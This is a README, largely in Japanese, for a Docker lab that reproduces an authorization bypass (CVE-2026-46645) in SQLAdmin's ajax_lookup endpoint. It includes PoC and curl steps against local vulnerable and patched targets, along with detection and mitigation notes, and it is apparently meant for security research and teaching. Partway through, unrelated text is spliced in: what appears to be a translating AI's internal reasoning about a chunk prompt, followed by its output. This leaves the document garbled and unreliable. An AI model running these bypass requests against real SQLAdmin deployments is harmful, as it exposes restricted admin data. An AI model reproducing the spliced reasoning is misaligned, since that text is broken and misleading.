
# CVE-2026-46645 再現用Dockerラボ SQLAdminの`ajax_lookup`エンドポイントにおける認可バイパスであるCVE-2026-46645を再現するためのDockerベースのラボです。脆弱性のあるターゲットとパッチ適用済みターゲット、PoCスクリプト、およびセキュリティ研究・教育のための手動curl再現手順が含まれています。
このリポジトリには、SQLAdmin の ajax_lookup エンドポイントに影響する認可バイパス脆弱性 CVE-2026-46645 を再現するためのローカル Docker ラボが含まれています。
SQLAdmin は、Starlette および FastAPI アプリケーションの SQLAlchemy モデル向けの管理インターフェースです。脆弱な動作は、アプリケーションが is_accessible(request) で ModelView を制限しているにもかかわらず、SQLAdmin の ajax_lookup ルートがルックアップ結果を返す前に同じアクセス制御判断を適用しない場合に発生します。
このラボは、2 つの SQLAdmin バージョンを比較します:
| Service | SQLAdmin version | Purpose | URL |
|---|
vuln | 0.25.0 | 脆弱なターゲット | http://127.0.0.1:8001 |
patched | 0.25.1 | パッチ適用済みの比較ターゲット | http://127.0.0.1:8002 |
実証される脆弱性チェーンは次のとおりです:```text Authenticated low-privileged user → restricted SQLAdmin ModelView → ModelView.is_accessible(request) returns False → user directly requests the ajax_lookup endpoint → SQLAdmin 0.25.0 returns relationship lookup data → SQLAdmin 0.25.1 blocks the same request with HTTP 403
このラボは、認可バイパスを理解しやすくするために、意図的に単純な `Report` / `SecretProject` データモデルを使用しています。これらのモデル名は脆弱性の根本原因ではありません。これらは、制御された再現条件を作成するためにのみ使用されます。
このラボは、制御されたローカル研究、ソースレベルでの理解、およびポートフォリオデモンストレーションのみを目的として設計されています。
## 検証済みの事実
| 主張 | 証拠 | このラボでの検証方法 |
| --------------------------------------------------------------------- | ------------------------------------------------------------------------------------------------------------------ | ----------------------------------------------------------------------------------------- |
| SQLAdmin の `ajax_lookup` エンドポイントが影響を受けるコンポーネントです。 | 公開アドバイザリは、影響を受けるエンドポイント形式を `GET /{identity}/ajax/lookup?name=<field>&term=<query>` として説明しています。 | PoC を実行し、`/admin/report/ajax/lookup?name=project&term=Secret` へのリクエストを観察します。 |
| SQLAdmin `0.25.0` が脆弱な比較対象として使用されます。 | このラボは `vuln` コンテナに `sqladmin==0.25.0` をインストールします。 | `docker compose exec -T vuln python -m pip show sqladmin` を実行します。 |
| SQLAdmin `0.25.1` がパッチ適用済みの比較対象として使用されます。 | 公開アドバイザリとリリースノートは、`0.25.1` を修正版として特定しています。 | `docker compose exec -T patched python -m pip show sqladmin` を実行します。 |
| 根本原因は SQLAdmin のアップストリームの `Admin.ajax_lookup()` ルートにあります。 | パッチは、`ajax_lookup()` に欠落していた認証と `is_accessible(request)` の強制を追加します。 | この README のコマンドを使用して、両方のコンテナ内の `Admin.ajax_lookup()` を検査します。 |
| このラボは制限付きの `ModelView` を作成します。 | `ReportAdmin.is_accessible(request)` は意図的に `False` を返します。 | `app/main.py` を検査します。 |
| PoC は認証済みセッションを使用します。 | PoC は最初に `/admin/login` にログインし、セッションクッキーを保持してから `ajax_lookup` をリクエストします。 | `python3 poc/poc.py --base-url http://127.0.0.1:8001` を実行します。 |
| 脆弱なシグナルはデータ露出です。 | SQLAdmin `0.25.0` は、制限付きビューから HTTP 200 と JSON ルックアップ結果を返します。 | 脆弱なターゲットは `Secret Project Alpha` と `Secret Project Beta` を返すはずです。 |
| パッチ適用後のシグナルはアクセス拒否です。 | SQLAdmin `0.25.1` は、同じ認証済みリクエストに対して HTTP 403 を返します。 | パッチ適用後のターゲットは `403 Forbidden` を返すはずです。 |
## 前提条件と未知の事項
このラボは、脆弱なベースラインとして `sqladmin==0.25.0` を、パッチ適用済みベースラインとして `sqladmin==0.25.1` を使用します。
このラボは、以下の条件における認可バイパスに焦点を当てています。```text
A user is authenticated,
the target ModelView is not accessible,
but ajax_lookup is requested directly.
このラボは、SQLAdminの考えられるすべてのデプロイパターンを再現しようとはしていません。意図的に、制限付きの管理ビューを1つ持つ小さなStarletteアプリケーションを作成して、脆弱なバージョンと修正済みバージョンの動作の違いを簡単に検証できるようにしています。
Report および SecretProject モデルはラボ専用のオブジェクトです。これらはSQLAdmin自体の一部ではありません。
PoCは、権限昇格、データ改ざん、セッション窃取、外部コールバック、永続化、またはラボ外のシステムへの攻撃を試みるものではありません。
根本原因は、このラボのアプリケーションコードではなく、SQLAdminの上流の Admin.ajax_lookup() ルートにあります。
SQLAdminでは、開発者は以下をオーバーライドすることで管理ビューへのアクセスを制限できます。```python ModelView.is_accessible(request)
他の管理ルートは、リクエストの処理を続行する前に、このアクセス制御判断を実施することが期待されています。たとえば、list、create、details、delete、edit、export などのルートは、現在のリクエストがターゲットの `ModelView` にアクセスできるかどうかを確認します。
脆弱な `ajax_lookup` ルートは、同じアクセス制御判断を実施していませんでした。
`ajax_lookup` エンドポイントは、SQLAdmin の `form_ajax_refs` 機能によって、関連する値を動的に読み込むために使用されます。そのエンドポイント形式は次のとおりです:```text
/admin/<identity>/ajax/lookup?name=<field>&term=<query>
脆弱なバージョンでは、ajax_lookup() は対象の ModelView を解決し、クエリ文字列からルックアップフィールド名と検索語を読み取り、AJAXローダーを呼び出してJSON結果を返します。欠落しているセキュリティステップは、現在のリクエストがその ModelView にアクセスすることを許可されているかどうかを最初に検証しないことです。
セキュリティへの影響として、認証されたユーザーが通常のUIルートを通じて制限された管理ビューにアクセスすることをブロックされていても、そのビューのAJAXルックアップエンドポイントを直接リクエストして、リレーションシップのルックアップデータを受け取ることができる可能性があります。
SQLAdminの 0.25.1 は、ajax_lookup() 内でアクセス制御を強制することでこれを修正します。パッチ適用済みのルートは model_view.is_accessible(request) をチェックし、対象のビューにアクセスできない場合はHTTP 403を返します。
このラボでは、脆弱な状態を再現するためだけに、ReportAdmin.is_accessible(request) が False を返すように定義しています。ラボのコードは根本原因ではありません。これは、SQLAdminのアップストリームの ajax_lookup() ルートがアクセス制御の決定を尊重するかどうかを検証する、管理されたテストハーネスです。
期待される動作の違い:```text sqladmin 0.25.0 -> HTTP 200 with JSON lookup results sqladmin 0.25.1 -> HTTP 403 Forbidden
## ソースパッチの概要
意味のあるアップストリームパッチは、`Admin.ajax_lookup()` への認証と認可の強制の追加です。
パッチ適用後の動作は次と同等です:```python
@login_required
async def ajax_lookup(self, request):
identity = request.path_params["identity"]
model_view = self._find_model_view(identity)
if not model_view.is_accessible(request):
raise HTTPException(status_code=403)
name = request.query_params.get("name")
term = request.query_params.get("term")
...
主要な認可チェックは次のとおりです:```python if not model_view.is_accessible(request): raise HTTPException(status_code=403)
The lab demonstrates that this check is absent from the vulnerable version and present in the patched version.
## Lab Architecture
The lab runs two isolated Starlette applications through Docker Compose.```text
.
├── app/
│ ├── __init__.py
│ └── main.py
├── docker-compose.yml
├── patched/
│ └── Dockerfile
├── poc/
│ └── poc.py
├── README.md
├── requirements/
│ ├── patched.txt
│ └── vuln.txt
└── vuln/
└── Dockerfile
2つのサービスは同じアプリケーションコードを実行しますが、インストールするSQLAdminのバージョンが異なります:
| Service | パッケージバージョン | ポートマッピング |
|---|---|---|
vuln | sqladmin==0.25.0 | 127.0.0.1:8001 -> 8000 |
patched | sqladmin==0.25.1 | 127.0.0.1:8002 -> 8000 |
アプリケーションは2つのSQLAlchemyモデルを作成します:```text SecretProject Report
`Report` は `SecretProject` との関係を持ちます:```text
Report.project -> SecretProject
ReportAdmin は AJAX リレーションシップルックアップを定義します:```python
form_ajax_refs = {
"project": {
"fields": ("name",),
"order_by": "name",
"limit": 10,
}
}
制限付き管理者ビューは次のとおりです:```python
class ReportAdmin(ModelView, model=Report):
def is_accessible(self, request):
return False
これは、SQLAdmin の ajax_lookup() ルートが is_accessible() を強制するかどうかをテストするために必要な条件を意図的に作り出します。
PoC で使用される脆弱なエンドポイントは次のとおりです:```text /admin/report/ajax/lookup?name=project&term=Secret
デフォルトのラボ資格情報:```text
username: analyst
password: lab-password
requests パッケージcurl必要に応じて、ホストにPoCの依存関係をインストールします:```bash python3 -m pip install requests
## クイックスタート
ラボをビルドして起動:```bash
docker compose down --remove-orphans
docker compose up --build -d
コンテナの状態を確認してください:```bash docker compose ps
想定される公開サービス:```text
Vulnerable target: http://127.0.0.1:8001
Patched target: http://127.0.0.1:8002
ヘルスエンドポイントを確認する:```bash curl -i http://127.0.0.1:8001/health curl -i http://127.0.0.1:8002/health
両方とも以下を返します:```json
{"status":"ok"}
必要であれば、ブラウザで管理UIを開いてください:```text http://127.0.0.1:8001/admin http://127.0.0.1:8002/admin
ログイン認証情報:```text
analyst / lab-password
脆弱なサービスに対して PoC を実行します:```bash
python3 poc/poc.py
--base-url http://127.0.0.1:8001
--label "sqladmin 0.25.0 vulnerable"
パッチ適用済みサービスに対して同じPoCを実行してください:```bash
python3 poc/poc.py \
--base-url http://127.0.0.1:8002 \
--label "sqladmin 0.25.1 patched"
PoCは以下の手順を実行します:```text
このPoCは、認証バイパスが読者に分かるように、リクエストとレスポンスのフローを意図的に出力します。
## curlによる手動HTTP再現
`poc/poc.py`を使用せずに、脆弱性を手動で再現できます。
これは、正確なHTTPフローを提示したい場合に便利です:```text
login
→ save session cookie
→ send ajax_lookup request
→ compare vulnerable and patched responses
脆弱なターゲットURLを設定してください:```bash TARGET="http://127.0.0.1:8001" COOKIE_JAR="/tmp/cve-2026-46645-vuln.cookies"
ラボユーザーとしてログインして、セッションCookieを保存してください:```bash
curl -i -s -L \
-c "$COOKIE_JAR" \
-b "$COOKIE_JAR" \
-X POST "$TARGET/admin/login" \
-d "username=analyst" \
-d "password=lab-password"
制限された ajax_lookup リクエストを送信する:```bash
curl -i -s
-b "$COOKIE_JAR"
"$TARGET/admin/report/ajax/lookup?name=project&term=Secret"
想定される脆弱な結果:```http
HTTP/1.1 200 OK
content-type: application/json
期待される本文:```json { "results": [ { "id": "1", "text": "Secret Project Alpha" }, { "id": "2", "text": "Secret Project Beta" } ] }
これは、リクエストが認証され、`ReportAdmin.is_accessible(request)` が `False` を返すにもかかわらず、SQLAdmin `0.25.0` が依然としてルックアップデータを返すため、脆弱な動作を確認するものです。
### パッチ適用済みターゲット
パッチ適用済みターゲットのURLを設定してください:```bash
TARGET="http://127.0.0.1:8002"
COOKIE_JAR="/tmp/cve-2026-46645-patched.cookies"
同じラボユーザーとしてログイン:```bash
curl -i -s -L
-c "$COOKIE_JAR"
-b "$COOKIE_JAR"
-X POST "$TARGET/admin/login"
-d "username=analyst"
-d "password=lab-password"
同じ制限付きの `ajax_lookup` リクエストを送信してください:```bash
curl -i -s \
-b "$COOKIE_JAR" \
"$TARGET/admin/report/ajax/lookup?name=project&term=Secret"
期待されるパッチ適用後の結果:```http HTTP/1.1 403 Forbidden
これは、SQLAdmin `0.25.1` が `ajax_lookup()` 内で欠落していた `ModelView.is_accessible(request)` チェックを強制するため、パッチ適用後の動作を確認します。
### ワンライナー比較
脆弱なサービス:```bash
curl -s -L \
-c /tmp/cve-2026-46645-vuln.cookies \
-b /tmp/cve-2026-46645-vuln.cookies \
-X POST http://127.0.0.1:8001/admin/login \
-d "username=analyst" \
-d "password=lab-password" >/dev/null && \
curl -i -s \
-b /tmp/cve-2026-46645-vuln.cookies \
"http://127.0.0.1:8001/admin/report/ajax/lookup?name=project&term=Secret"
パッチ適用済みサービス:```bash
curl -s -L
-c /tmp/cve-2026-46645-patched.cookies
-b /tmp/cve-2026-46645-patched.cookies
-X POST http://127.0.0.1:8002/admin/login
-d "username=analyst"
-d "password=lab-password" >/dev/null &&
curl -i -s
-b /tmp/cve-2026-46645-patched.cookies
"http://127.0.0.1:8002/admin/report/ajax/lookup?name=project&term=Secret"
期待される比較:```text
sqladmin 0.25.0 -> HTTP 200 + JSON lookup results
sqladmin 0.25.1 -> HTTP 403 Forbidden
Base URL : http://127.0.0.1:8001 Login URL : http://127.0.0.1:8001/admin/login Lookup URL : http://127.0.0.1:8001/admin/report/ajax/lookup Lookup params : name='project', term='Secret'
Request: POST http://127.0.0.1:8001/admin/login form username='analyst' form password=
Response: HTTP status : 200 Final URL : http://127.0.0.1:8001/admin/ Cookies : {'session': ''}
Security condition:
Response: HTTP status : 200 Content-Type : application/json
Body: { "results": [ { "id": "1", "text": "Secret Project Alpha" }, { "id": "2", "text": "Secret Project Beta" } ] }
[VULNERABLE SIGNAL] The restricted ajax_lookup endpoint returned HTTP 200 and JSON results. This means an authenticated user could query lookup data even though ReportAdmin.is_accessible(request) returned False.
パッチ適用済みターゲット:```text
================================================================================
Target: sqladmin 0.25.1 patched
================================================================================
Base URL : http://127.0.0.1:8002
Login URL : http://127.0.0.1:8002/admin/login
Lookup URL : http://127.0.0.1:8002/admin/report/ajax/lookup
Lookup params : name='project', term='Secret'
================================================================================
Step 1 - Login as authenticated low-privileged user
================================================================================
Request:
POST http://127.0.0.1:8002/admin/login
form username='analyst'
form password=<hidden>
Response:
HTTP status : 200
Final URL : http://127.0.0.1:8002/admin/
Cookies : {'session': '<redacted>'}
================================================================================
Step 2 - Send ajax_lookup request to restricted ModelView
================================================================================
Request:
GET http://127.0.0.1:8002/admin/report/ajax/lookup?name=project&term=Secret
Security condition:
- The user is authenticated.
- ReportAdmin.is_accessible(request) returns False.
- A restricted admin ModelView should not expose lookup data.
Response:
HTTP status : 403
Content-Type : text/html; charset=utf-8
================================================================================
Step 3 - Interpretation
================================================================================
[PATCHED SIGNAL]
The restricted ajax_lookup endpoint returned HTTP 403.
This matches the patched behavior introduced in SQLAdmin 0.25.1.
PoCはPythonのrequestsライブラリと永続的なrequests.Session()オブジェクトを使用します。
まず、SQLAdminに認証します:```text POST /admin/login
ラボの認証情報を使用して:```text
analyst / lab-password
ログイン後、セッションオブジェクトは返されたセッションクッキーを保持します。
次に、PoCは制限されたAJAXルックアップリクエストを送信します:```text GET /admin/report/ajax/lookup?name=project&term=Secret
ラボアプリケーションでは、このリクエストは `ReportAdmin` を対象とします。
`ReportAdmin` は意図的にアクセス不可です:```python
def is_accessible(self, request):
return False
これはラボの環境条件です。これは上流の脆弱性ではありません。
テスト対象のセキュリティ問題は次のとおりです:```text Does SQLAdmin's upstream ajax_lookup route enforce the ModelView access decision?
SQLAdmin `0.25.0` では、エンドポイントは HTTP 200 と JSON ルックアップ結果を返します。これは脆弱な動作を確認するものです。
SQLAdmin `0.25.1` では、エンドポイントは HTTP 403 を返します。これは修正された動作を確認するものです。
## 有用な検証コマンド
実行中のコンテナを確認:```bash
docker compose ps
サービスログを確認する:```bash docker compose logs vuln patched
インストールされているSQLAdminのバージョンを確認します:```bash
docker compose exec -T vuln python -m pip show sqladmin
docker compose exec -T patched python -m pip show sqladmin
期待されるバージョン:```text vuln -> Version: 0.25.0 patched -> Version: 0.25.1
PoCをもう一度実行してください:```bash
python3 poc/poc.py \
--base-url http://127.0.0.1:8001 \
--label "sqladmin 0.25.0 vulnerable"
This is chunk 101 of 131 from a longer Markdown document being translated in sequence. The source language is en. Target language: ja. Content type: README chunk 101/131. ..." No, careful. The user gave a prompt that says "Translate the following Kitploit tool content. This is chunk 101 of 131 ... INPUT:" and then the text shown is blank? Wait, I need to look at the full conversation. The user shared: "Translate the following Kitploit tool content. This is chunk 101 of 131 from a longer Markdown document being translated in sequence. ... INPUT:## Chunk 101/131 ..." Actually, the message ends with "INPUT:" and then nothing, but then there's a " response" heading and then maybe some example? No, the user sent the message as I see it: after "INPUT:" they might have included a chunk. The message is:
""" Translate the following Kitploit tool content. This is chunk 101 of 131 from a longer Markdown document being translated in sequence. The source language is en. Target language: ja. Content type: README chunk 101/131.
CHUNK-SPECIFIC RULES: ... INPUT: """
Then after that there's a heading "## Chunk 101/131" and the text "This is chunk 101 of 131 from a longer Markdown document being translated in sequence. The source language is en. Target language: ja. Content type: README chunk 101/131. ..." So it seems the actual input chunk is a sample markdown content? Wait, the user is giving the instruction and then the actual chunk is below the "INPUT:" line. I see:
INPUT:
Then nothing? But the conversation shows that after the prompt, there is text that I'm reading: "## Chunk 101/131
This is chunk 101 of 131 from a longer Markdown document being translated in sequence. The source language is en. Target language: ja. Content type: README chunk 101/131.
CHUNK-SPECIFIC RULES:
And then after that, there is "## Chunk 101/131" again, which might be the actual chunk. It seems the input chunk might be something like a placeholder. The whole message is the prompt, and after "INPUT:" there is no actual content? Actually, I think the input chunk is empty, because the user might have intended to paste the chunk, but they wrote "## Chunk 101/131" and then "This is chunk 101..." as part of the chunk? Let's parse: The entire user message is:
Translate the following Kitploit tool content.
This is chunk 101 of 131 from a longer Markdown document being translated in sequence.
The source language is en.
Target language: ja.
Content type: README chunk 101/131.
CHUNK-SPECIFIC RULES:
1. Translate ONLY natural language text. NEVER translate: code blocks, shell commands, file paths, URLs, package names, technical identifiers, CVE IDs, environment variable names.
2. Preserve ALL Markdown syntax EXACTLY as-is.
3. DO NOT add introductory headings like "## Chunk N", "## Part N", "## Continued from..." or "## Translation of chunk...". DO NOT add "End of chunk N" or "Content continues..." markers.
4. DO NOT add "..." ellipsis markers to indicate omission. Translate ONLY the exact text provided, character for character in structure.
5. Chunk boundaries are intentional. Preserve structure so chunks can be concatenated seamlessly without visual artifacts.
6. Return ONLY the translated text. No preamble, no commentary, no wrapping in code blocks, no JSON/YAML/XML, no arrays, no objects, no schemas, no key/value wrappers.
7. If the chunk starts mid-paragraph, continue translating from that point. Do not add a leading newline or indent unless it exists in the source.
INPUT:
Then, the next line in the message is "## Chunk 101/131" (a level-2 heading) then text: "This is chunk 101 of 131 from a longer Markdown document being translated in sequence. The source language is en. Target language: ja. Content type: README chunk 101/131." This is likely the actual chunk content, which is a heading and a paragraph. It says "This is chunk 101 of 131..." and then maybe ellipsis? But the text ends. So the chunk to translate is exactly:
## Chunk 101/131
This is chunk 101 of 131 from a longer Markdown document being translated in sequence. The source language is en. Target language: ja. Content type: README chunk 101/131.
But wait, that looks like it's describing the chunk itself, not the actual content of a tool. It could be a test chunk. The user might be giving me a chunk that includes that heading and paragraph to see if I translate correctly. The instruction says: "Chunk boundaries are intentional. Preserve structure so chunks can be concatenated seamlessly without visual artifacts." So I must translate this exact chunk. The chunk title is "## Chunk 101/131", which is part of the Markdown content. I need to translate the natural language text in the paragraph, but preserve the heading as is? The heading is "## Chunk 101/131". The chunk numbers are not to be translated; but "Chunk" is an English word. Should I translate "Chunk" to Japanese? The instruction says: "Translate ONLY natural language text." The heading text "Chunk 101/131" is natural language? It's a label. I think it's okay to translate it, but I must keep the Markdown structure: "##" and then the translated text. So "## Chunk 101/131" could become "## チャンク 101/131". However, if it's a label that should remain in English for consistency, but the original is English, so we can translate "Chunk" as "チャンク". But also, the paragraph: "This is chunk 101 of 131 from a longer Markdown document being translated in sequence. The source language is en. Target language: ja. Content type: README chunk 101/131." That is all natural language. I'll translate it except technical identifiers like "en", "ja", "README". I'll preserve those.
Translation:
Make sure to preserve all punctuation and spacing. Also, no extra wrapping. So output:
## チャンク 101/131
これは、連続して翻訳中の長いMarkdownドキュメントから、全131チャンクのうち101番目のチャンクです。ソース言語は en です。ターゲット言語: ja。コンテンツタイプ: README チャンク 101/131。
But I need to check if the original had a trailing newline? The original text ends with a period and no extra newline. I'll not add extra newline after the period unless present. Usually chunk translation preserves no extra blank lines unless present. So output exactly that. Also, the original didn't have a trailing newline, so I'll end with the period.## チャンク 101/131
これは、連続して翻訳中の長いMarkdownドキュメントから、全131チャンクのうち101番目のチャンクです。ソース言語は en です。ターゲット言語: ja。コンテンツタイプ: README チャンク 101/131。```bash
python3 poc/poc.py
--base-url http://127.0.0.1:8002
--label "sqladmin 0.25.1 patched"
エビデンス出力を保存:```bash
mkdir -p evidence
python3 poc/poc.py \
--base-url http://127.0.0.1:8001 \
--label "sqladmin 0.25.0 vulnerable" \
| tee evidence/poc-vuln-0.25.0.txt
python3 poc/poc.py \
--base-url http://127.0.0.1:8002 \
--label "sqladmin 0.25.1 patched" \
| tee evidence/poc-patched-0.25.1.txt
docker compose ps | tee evidence/docker-compose-ps.txt
docker compose logs vuln patched > evidence/docker-compose-logs.txt
インストールされた脆弱なソースを検査します:```bash docker compose exec -T vuln python - <<'PY' import inspect import sqladmin.application
print(sqladmin.application.file) print(inspect.getsource(sqladmin.application.Admin.ajax_lookup)) PY
インストールされたパッチ適用済みソースを検査してください:```bash
docker compose exec -T patched python - <<'PY'
import inspect
import sqladmin.application
print(sqladmin.application.__file__)
print(inspect.getsource(sqladmin.application.Admin.ajax_lookup))
PY
脆弱なバージョンでは、ajax_lookup() 内で model_view.is_accessible(request) を強制すべきではありません。
パッチ適用済みバージョンには、以下と同等の認可チェックを含める必要があります:```python if not model_view.is_accessible(request): raise HTTPException(status_code=403)
## 検出と監視
SQLAdminを使用する実際のアプリケーションでは、不審なアクティビティがAJAXルックアップエンドポイントへの直接リクエストとして現れる可能性があります:```text
/admin/<identity>/ajax/lookup?name=<field>&term=<query>
このラボで有用なログ指標には、次のものが含まれます:```text GET /admin/report/ajax/lookup?name=project&term=Secret
想定される脆弱なログパターン:```text
GET /admin/report/ajax/lookup?name=project&term=Secret HTTP/1.1" 200 OK
期待されるパッチ適用済みログパターン:```text GET /admin/report/ajax/lookup?name=project&term=Secret HTTP/1.1" 403 Forbidden
本番環境での監視に関する潜在的なアイデア:
* `/ajax/lookup` エンドポイントへの直接アクセスをレビューする、
* ルックアップアクセスを想定される管理UIワークフローと比較する、
* 低権限アカウントから繰り返されるルックアップ用語を監視する、
* 機密性の高い `ModelView` クラスが `form_ajax_refs` を使用しているかレビューする、
* 制限されたモデルビューがリレーションシップルックアップを通じてまだ公開されているか検証する。
## 緩和策とパッチノート
SQLAdmin を `0.25.1` 以降にアップグレードしてください。
このパッチは、`ajax_lookup` ルートに不足していたアクセス制御の強制を追加します。パッチ適用後のエンドポイントは、現在のリクエストがターゲットの `ModelView` へのアクセスを許可されているかどうかをチェックします。`is_accessible(request)` が `False` を返す場合、リクエストは HTTP 403 でブロックされます。
アプリケーションレベルの堅牢化に関する推奨事項:
* SQLAdmin をパッチ適用済みバージョンにアップグレードする、
* すべてのカスタム `ModelView.is_accessible()` 実装をレビューする、
* 必要な場合を除き、`form_ajax_refs` を通じて機密性の高いリレーションシップルックアップを公開しない、
* 制限された管理ビューを通常のUIルートとAJAXルックアップルートの両方でテストする、
* `/admin/*/ajax/lookup` エンドポイントへのアクセスを監視する、
* 管理認証とセッション処理が正しく設定されていることを確認する。
## クリーンアップ
コンテナとネットワークを停止して削除する:```bash
docker compose down --remove-orphans
コンテナ、ネットワーク、および匿名ボリュームを削除します:```bash docker compose down -v --remove-orphans
必要に応じてローカルでビルドしたイメージを削除します:```bash
docker image rm \
cve-2026-46645-sqladmin-vuln:0.25.0 \
cve-2026-46645-sqladmin-patched:0.25.1 \
2>/dev/null || true
必要に応じて証拠ファイルを削除します:```bash rm -rf evidence/
## 安全性の境界
このラボは、ローカルでのセキュリティ研究と制御されたデモンストレーションのみを目的としています。
所有していない、またはテストする許可を得ていないシステムに対してPoCを実行しないでください。
このラボでは、実際の認証情報、本番環境のシークレット、外部ターゲットを使用しないでください。
PoCは、意図的に以下のようなローカルDockerサービスに限定されています:```text
http://127.0.0.1:8001
http://127.0.0.1:8002
このPoCには、資格情報の窃取、データ改ざん、永続化、ラテラルムーブメント、外部コールバック用のペイロードは含まれていません。
目的は、管理された環境において、特定の認可バイパス条件を1つ実証することです:```text authenticated user
## 参考文献
- GitHub Advisory Database: ajax_lookup における SQLAdmin の認可バイパス
https://github.com/advisories/GHSA-54mc-gghv-4cfj
- OSV アドバイザリ: GHSA-54mc-gghv-4cfj / CVE-2026-46645
https://osv.dev/vulnerability/GHSA-54mc-gghv-4cfj
- SQLAdmin リリース 0.25.1
https://github.com/smithyhq/sqladmin/releases/tag/0.25.1
- SQLAdmin の差分: 0.25.0 から 0.25.1
https://github.com/smithyhq/sqladmin/compare/0.25.0...0.25.1
- SQLAdmin 0.25.0 application.py
https://github.com/smithyhq/sqladmin/blob/0.25.0/sqladmin/application.py
- SQLAdmin 0.25.1 application.py
https://github.com/smithyhq/sqladmin/blob/0.25.1/sqladmin/application.py
- SQLAdmin 認証テスト
https://github.com/smithyhq/sqladmin/blob/0.25.1/tests/test_authentication.py
- SQLAdmin AJAX テスト
https://github.com/smithyhq/sqladmin/blob/0.25.1/tests/test_ajax.py
- PyPI: sqladmin
https://pypi.org/project/sqladmin/
- SQLAdmin GitHub リポジトリ
https://github.com/smithyhq/sqladmin